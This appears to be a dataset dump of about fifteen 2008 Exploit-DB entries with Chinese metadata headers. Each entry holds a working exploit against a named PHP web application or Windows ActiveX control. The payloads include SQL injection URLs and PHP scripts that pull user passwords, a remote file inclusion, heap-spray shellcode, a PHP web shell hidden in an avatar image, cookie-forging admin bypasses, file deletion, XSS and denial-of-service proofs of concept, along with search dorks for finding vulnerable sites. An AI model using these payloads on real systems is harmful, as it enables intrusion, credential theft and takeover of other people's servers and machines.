QLWD/code_shield huggingface dataset:
标题: psipuss 1.0 - Multiple SQL Injections EDB-ID: 6226 CVE: 2008-3598 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-10 漏洞利用脚本: ########################################################################
             #                                                                      #
             #  ...:::::psipuss version 1.0 SQL Injection Vulnerabilities ::::....  #           
             ########################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from ISCN :)
-----------------------------------
vuln code in categories.php:
line 5: if(!empty($_GET[Cid]))
{
        $qCTitle = "select * from `categories` where `Cid` = '$_GET[Cid]'";
------------
exploit:
http://site.com/categories.php?Cid='/**/union/**/select/**/1,concat(Username,0x3a,char(58),Password),3,4,5/**/from/**/users/*
--------------------------------
                                .::::admin Authentication bypass vuln::::.
vuln code in login.php:
                                
                                
line 6: $Username = strip_tags($_POST[username]);
line 7: $Password = strip_tags($_POST[password]);
..
..
..
line 18: $password11 = $_POST[password];
line 19:                $qlogin = "select * from `users` where `Username` = '$Username' and `Password` = '$password11' and `Status` = 'Active'";
---
Exploit:
User Name:admin ' or 1=1/*
Password :[whatever]
---
young iranian h4ck3rz

# milw0rm.com [2008-08-10] URL: https://www.exploit-db.com/exploits/6226
标题: txtSQL 2.2 Final - 'startup.php' Remote File Inclusion EDB-ID: 6224 CVE: 2008-3595 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-10 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Remote File Include ]                         ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : N/A                    ? ?                                    ?
?   Script   : txtSQL 2.2 Final       ? ?         Register Globals :         ?
?   Download : sourceforge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????

[RFI]
  
http://localhost/path/examples/txtSQLAdmin/startup.php?CFG[txtsql][class]=[SHELL]

   
??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, His0k4, Hussin X, Mr. SQL .

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-08-10] URL: https://www.exploit-db.com/exploits/6224
标题: Ovidentia 6.6.5 - 'item' SQL Injection EDB-ID: 6232 CVE: 2008-4423 2008-3918 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-11 漏洞利用脚本: #####################################################################################
####                       Ovidentia 6.6.5 Sql Injection                         ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                                      #
#Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                               #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr)                       #
#####################################################################################
#                                                                                   #
#Script Download : www.ovidentia.org                                                #
#                                                                                   #
#DORK : "Powered by Ovidentia"                                                      #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://Site/index.php?tg=contact&idx=modify&item=-99999'+union+select+0,1,2,concat(0x6E69636B6E616D65,0x3A,nickname),concat(0x70617373776F7264,0x3A,password),5,6,7,8,9,10,11,12,13,14+from+bab_users/*
#                                                                                   #
#                                     [Note]                                        #
#                                                                                   #
#You must login by a simple user and then use bug  ;)                                 #
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-08-11] URL: https://www.exploit-db.com/exploits/6232
标题: Quicksilver Forums 1.4.1 - SQL Injection EDB-ID: 6223 CVE: 2008-3601 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-10 漏洞利用脚本: <?php
/*
. vuln.: Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit
. download: http://www.quicksilverforums.com/
.
. author: irk4z[at]yahoo.pl
. homepage: http://irk4z.wordpress.com/
.
. greets: all friends ;)
.
. this is PoC exploit
*/

$host = $argv[1];
$path = $argv[2];
$prefix = "qsf_"; // this is default prefix

echo
".\n. Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit\n.\n".
". author: irk4z[at]yahoo.pl\n".
". homepage: http://irk4z.wordpress.com/\n".
".\n".
". usage: php ".$argv[0]." host path\n".
".        php ".$argv[0]." localhost /\n\n";

if(empty($host)||empty($path))die('# wrong host or path..');

$post_data = "query=I-like-it&forums[]=2)/**/limit/**/0/**/UNION/**/SELECT/**/1,1,concat(0x5b3a213a5d,user_name,0x3A,user_password,0x5b3a213a5d),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/".$prefix."users/**/WHERE/**/user_group=1/*&searchtype=match&member_text=&member_select=exact&showposts_check=on&limit_check=on&limit_chars=400&time_check=on&time_way_select=newer&time_select=31&submit=Search";

$data = "POST ".$path."index.php?a=search HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-length: ".strlen($post_data)."\r\n";
$data .= "Connection: Close\r\n";
$data .= "\r\n";
$data .= $post_data."\r\n\r\n";

$s = @fsockopen($host, 80);
if (empty($s)) die('# wrong host..');

fputs($s, $data); $retu ='';

while(!feof($s)){
 $retu .= fgets($s);
}

fclose($s);

$tmp = explode('[:!:]',$retu);
if(empty($tmp[1]))die('sorry, exploit failed.. maybe try again in a few seconds..');
echo " " . $tmp[1] . "\n\ndone.";
?>

# milw0rm.com [2008-08-10] URL: https://www.exploit-db.com/exploits/6223
标题: Cisco WebEx Meeting Manager UCF - 'atucfobj.dll' ActiveX Remote Buffer Overflow EDB-ID: 6220 CVE: 2008-3558 2008-2737 类型: REMOTE 平台: WINDOWS 发布日期: 2008-08-10 漏洞利用脚本: <html>
<body>

<object classid=clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC id=target />
</object>

<script language=javascript>

 // k`sOSe 08/08/2008
 // tested in IE6, XP SP1
 var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u535c%u5359%u4554%u334d%u5c32%u4143%u434c%u452e%u4558%u4100");

 var block = unescape("%u0909%u0909");
 while (block.length < 0x25000) block += block;

 var memory = new Array();

 var i=0;
 for (;i<1000;i++) memory[i] += block + shellcode;

 memory[i] += shellcode;

 var buf2;
 for (var i=0; i<151; i++) buf2 += "X";

 buf2 += unescape("%09%09%09%09");



 target.NewObject(buf2);

</script>

</body>
</html>

# milw0rm.com [2008-08-10] URL: https://www.exploit-db.com/exploits/6220
标题: Download Accelerator Plus DAP 8.6 - 'AniGIF.ocx' Buffer Overflow (PoC) EDB-ID: 6216 CVE: 2008-3702 类型: DOS 平台: WINDOWS 发布日期: 2008-08-10 漏洞利用脚本: <html>
<body>
<object classid='clsid:82351441-9094-11D1-A24B-00A0C932C7DF' id='target' />
</object>
<script language=javascript>

// anigif.ocx by www.jcomsoft.com can be found distribuited with some applications, 
// I found it in Download Accelerator Plus 6.8. 
// DAP comes with an old version, but the last from jcomsoft is also vulnerable:
// there's a stack-based buffer overflow in the ReadGIF and ReadGIF2 methods, 
// the funny thing is that after the first exception that will be handled by IE,
// when the object is released we reach RtlpCoalesceFreeBlocks owning eax and ecx 
// with windogs xp sp1 or the second check of safe-unlink with sp2 in a standard heap 
// overflow scenario.

var buf;
for (var i=0; i<259; i++) buf += "X";

buf +="BBBB";
buf += "CCCC";

for (var i=0; i<5728; i++) buf += "H";

target.ReadGIF(buf);

window.location = "http://www.google.com";

</script>
</body>
</html>

# milw0rm.com [2008-08-10] URL: https://www.exploit-db.com/exploits/6216
标题: HydraIrc 0.3.164 - Remote Denial of Service EDB-ID: 6201 CVE: 2008-3578 类型: DOS 平台: WINDOWS 发布日期: 2008-08-04 漏洞利用脚本: ############################################################
# Vendor : http://www.hydrairc.com/
# Remote : Yes
# Impact : Remote crash
# Bug : Null Pointer Dereference
# Working on : all browsers
#
#  Include this in any webpage or xss & see it with any browser , wait ~15sec, and boom.
#
# PoC :
#
<html>
<head> <title>HydraIRC Remote Denial Of Service Poc </title></head>
<body>
<script>
var site = 'irc://127.0.0.1/'
var buf = 'A';
     while (buf.length <= 560) buf = buf + 'A';
document.location.href=site +buf
</script>
</body>
</html>

# milw0rm.com [2008-08-04] URL: https://www.exploit-db.com/exploits/6201
标题: Wsn (Multiple Products) - Local File Inclusion / Code Execution EDB-ID: 6208 CVE: 2008-3555 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-06 漏洞利用脚本: Author: otmorozok428, http://forum.antichat.ru 

Products: Wsn Forum <= 4.1.43, Wsn Knowledge Base <= 4.1.36, Wsn Links <= 4.1.44, Wsn Gallery <= 4.1.30

Vendor: http://www.webmastersite.net

Googling: inurl:memberlist.php?action=profile

Code Execution Vulnerability: 

Avatar evil.jpg source: <? system($_GET['cmd']); ?>

Enter to upload: http://www.site.com/forum/profile.php?action=editprofile&id=[Your User ID]

See the avatar name at your profile.

Upload evil avatar and go to: index.php?custom=yes&TID=../../attachments/avatars/[Avatar Name]&ext=jpg&cmd=ls -al

# milw0rm.com [2008-08-06] URL: https://www.exploit-db.com/exploits/6208
标题: LoveCMS 1.6.2 Final - Update Settings EDB-ID: 6210 CVE: 2008-3509 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-06 漏洞利用脚本: #!/usr/bin/ruby
#
## Exploit by PoMdaPiMp!
## ---------------------
##   pomdapimp(at)gmail(dotcom)
##
##   LoveCMS Exploit Series
##   Episode 3: changing site settings ...
##
##   Description: Simply change the site settings !
##
##   Usage: ./LoveCMS_3_settings.rb <host>
##   Ex:    ./LoveCMS_2_themes.rb http://site.com/lovecms/
##
##   Tested on: lovecms_1.6.2_final (MacOS X, Xampp)
#

require 'net/http'
require 'uri'

@host = 'http://127.0.0.1/lovecms_1.6.2_final/lovecms/'
@post_vars = {}
@post_vars['submit'] = 1
@post_vars['pagetitle'] = 'P4g3T1t1le'
@post_vars['sitename'] = 'SiteN4me'
@post_vars['slogan'] = 'By PoMdaPiMp.'
@post_vars['footer'] = 'PoMdaPiMp was here.'
@post_vars['description'] = 'Ruby is a gift.'
@post_vars['keywords'] = 'PoMdaPiMp, hack'
@post_vars['encoding'] = 'utf-8'
@post_vars['tips'] = 'off'
@post_vars['console'] = 'on'
@post_vars['debugmode'] = 'on'
@post_vars['module'] = 2
@post_vars['love_root'] = ''
@post_vars['love_url'] = ''

@host = ARGV[0] if ARGV[0]
@host += @host[-1, 1].to_s != '/' ? '/' : ''

if @host
  # --
  puts " + LoveCMS Exploit Series. #3: Messing with settings."
  puts
  puts " : Attacking host: " + @host

  # --
  # Changing settings
  res = Net::HTTP.post_form(URI.parse(@host + 'system/admin/themes.php'),
                            @post_vars)
  puts " :: Values set."
  @post_vars.each do |k, v|
    puts "    " + k.to_s + " > " + v.to_s
  end

  # --
  puts
  puts " - Visit " + @host
end

# milw0rm.com [2008-08-06] URL: https://www.exploit-db.com/exploits/6210
标题: syzygyCMS 0.3 - 'index.php' Local File Inclusion EDB-ID: 6200 CVE: 2008-3593 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-03 漏洞利用脚本: ######################################
[+] syzygyCMS 0.3 Local File Inclusion    
[+] Discovered By SirGod                           
[+] www.mortal-team.com                           
[+] Greetz : E.M.I.N.E.M, Ras ,Puscas_marin
[+] also ToxicBlood,MesSiAH,xZu
######################################

Example :

http://localhost/x/index.php?page=../../../autoexec.bat

This will open autoexec.bat .

###########################################

# milw0rm.com [2008-08-03] URL: https://www.exploit-db.com/exploits/6200
标题: LiteNews 0.1 - Insecure Cookie Handling EDB-ID: 6206 CVE: 2008-3508 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: #########################################################################
#                                                                       #
#         litenews-01 <= 1.2 Insecure Cookie Handling Vulnerability     #
#                                                                       #
#########################################################################
#                                                                       #
# AUTHOR     : Scary-Boys      #
# HOME       : http://scary-boys.com     #
# Download   : http://webscripts.softpedia.com/scriptDownload/LiteNews-Download-43228.html#download_locations
#                                                                       #
#########################################################################
#                                                                       #
#     DorKs  : "Powered By litenews"                    #
#                                                                       #
#########################################################################
#                                                                       #
#  DESCRIPTION :                                          #
#  Maian Guestbook suffers from a insecure cookie                       #
# the admin panel only checks if the cookie exists.           #
#                                                                       #
#########################################################################
#                                                                       #
#  Vulnerability :                                                      #
#                                                                       #
#  javascript:document.cookie = "admin=1; path=/";                      #
#                                                                       #
#########################################################################
#                                                                       #
# after running the javascript, Go to "/admin/index.php" & Refresh      #
#                                                                       #
#########################################################################

# milw0rm.com [2008-08-05] URL: https://www.exploit-db.com/exploits/6206
标题: LiteNews 0.1 - 'id' SQL Injection EDB-ID: 6207 CVE: 2008-3507 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: litenews-01 <= 1.2 Remote sql injection
# Download   : http://webscripts.softpedia.com/scriptDownload/LiteNews-Download-43228.html#download_locations
#                                                                                   #
#Injection Adress :  http://Sitename/litenew//index.php?mode=view&id=   code sql

you need to crypt the directory of settings.php with hex for see the user and password in line 16 & 17

C:\AppServ\www\litenew\settings.php = 0x433A5C417070536572765C7777775C6C6974656E65775C73657474696E67732E706870

http://Sitename/litenew//index.php?mode=view&id=-1%20union%20select%201,load_file(0x433A5C417070536572765C7777775C6C6974656E65775C73657474696E67732E706870),3,4,5/*

# milw0rm.com [2008-08-05] URL: https://www.exploit-db.com/exploits/6207
标题: Free Hosting Manager 1.2/2.0 - Insecure Cookie Handling EDB-ID: 6213 CVE: 2008-3557 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-06 漏洞利用脚本: #########################################################################
#                                                                       #
#Free Hosting Manager = 1.2 & 2.0 Insecure Cookie Handling Vulnerability#
#                                                                       #
#########################################################################
#                                                                       #
# AUTHOR     : Scary-Boys                                               #
# HOME       : http://scary-boys.com                                    #
# Founded By : lvlr-Erfan                                               #
# Download   : http://www.fhm-script.com/download.php                   #
#                                                                       #
#########################################################################
#                                                                       #
#     DorKs  : "Powered By Free Hosting Manager"                        #
#                                                                       #
#########################################################################
#                                                                       #
#  DESCRIPTION :                                                        #
# the admin panel only checks if the cookie exists.                     #
#                                                                       #
#########################################################################
#                                                                       #
#  Vulnerability :                                                      #
#                                                                       #
#  javascript:document.cookie = "adminuser=1; path=/"; document.cookie = "loggedin=1; path=/";
#                                                                       #
#########################################################################
#                                                                       #
# after running the javascript, Go to "/admin" & Refresh      #
#                                                                       #
#########################################################################

# milw0rm.com [2008-08-06] URL: https://www.exploit-db.com/exploits/6213
标题: Discuz! 6.0.1 - 'searchid' SQL Injection EDB-ID: 6214 CVE: 2008-3554 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-06 漏洞利用脚本: <?php
error_reporting(E_ALL&E_NOTICE);
print_r("
+------------------------------------------------------------------+
Exploit discuz6.0.1
Just work as php>=5 & mysql>=4.1
BY  james
+------------------------------------------------------------------+
");

if($argc>4)
{
 $host=$argv[1];
 $port=$argv[2];
 $path=$argv[3];
 $uid=$argv[4];
}else{
 echo "Usage: php ".$argv[0]." host port path uid\n";
 echo "host:      target server \n";
 echo "port:      the web port, usually 80\n";
 echo "path:      path to discuz\n";
 echo "uid :      user ID you wanna get\n";
 echo "Example:\r\n";
 echo "php ".$argv[0]." localhost 80 1\n";
 exit;
}

$content ="action=search&searchid=22%cf'UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=".$uid."/*&do=submit";

$data = "POST /".$path."/index.php"." HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: wap\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "Content-length: ".strlen($content)."\r\n";
$data .= "Connection: Close\r\n";
$data .= "\r\n";
$data .= $content."\r\n\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
 echo 'No response from '.$host;
 die;
}
fwrite($ock,$data);
while (!feof($ock)) {
   echo fgets($ock, 1024);
}
?>

# milw0rm.com [2008-08-06] URL: https://www.exploit-db.com/exploits/6214
标题: pPIM 1.0 - Arbitrary File Delete / Cross-Site Scripting EDB-ID: 6215 CVE: 2008-4528 2008-4428 2008-4427 2008-4426 2008-4425 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-10 漏洞利用脚本: ##########################################################
#Author : BeyazKurt
#Contact : Djm-sut@Hotmail.Com
#
#Script : Ppim v1.0 [Bu ne bicim script adidir amk :D ]
#Download : http://scripts.ringsworld.com/organizers/ppim.zip
#
# D0rk :  inurl:events.php?listallevents
#
# File Delete Vulnerability: upload.php
#
# Example:http://creawebs.com.mx/sistema/upload.php?mode=delfile&file=Creando Wiki.pptx
# Exploit:http://SITE.COM/upload.php?mode=delfile&file=FileName
#
# $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
#
# XSS Vulnerability: events.php
#
#[CODE]
#  <?php
#  if (isset($_GET['date']))
#  {
#    $date_id = $_GET['date'];
#  print "<a href=\"events.php?mode=new&date=$date_id\">New Event</a><br / >";
#  }
#  ?>
#[/CODE]
#
#Exploit :
# events.php?mode=new&date=XSS CODE
# events.php?mode=new&date="><script>alert('XSS')</script>
# -------------------------------
#
#              INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
#  pigs for dedication : :  WE Are Don't Forget Kosova, Drenica, Srebrenica And All Genocide !!
#                      Proud 2 Be ALBANIAN
#
# MTK : 0 - 5 : FenerBahÃ§e (H)
#
# Not : Fuck off pala! aq lameri.
# Thnx : All Muslims Albanian & Turkish Coder.. And CrazyShark f0r translate.
#######################################################

# milw0rm.com [2008-08-10] URL: https://www.exploit-db.com/exploits/6215